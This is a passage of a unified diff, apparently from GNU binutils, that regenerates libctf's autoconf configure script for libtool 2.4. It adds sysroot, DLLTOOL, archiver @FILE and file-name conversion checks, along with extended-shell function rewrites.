++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/libctf/configure b/libctf/configure
+index de10fef84a1..1b0ee0d32c6 100755
+--- a/libctf/configure
++++ b/libctf/configure
+@@ -669,6 +669,8 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -801,6 +803,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_largefile
+ enable_werror_always
+@@ -1475,6 +1478,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-system-zlib use installed libz
+
+ Some influential environment variables:
+@@ -5583,8 +5588,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5624,7 +5629,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6311,8 +6316,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6361,6 +6366,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6377,6 +6456,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6545,7 +6629,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6699,6 +6784,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6714,6 +6814,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6728,8 +6979,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6745,7 +6998,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6765,11 +7018,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6785,7 +7042,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6804,6 +7061,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6815,25 +7076,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -6845,6 +7100,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -7184,8 +7497,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7221,6 +7534,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7262,6 +7576,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7273,7 +7599,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7299,8 +7625,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7310,8 +7636,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7348,6 +7674,14 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
+
+
+
+@@ -7366,6 +7700,47 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
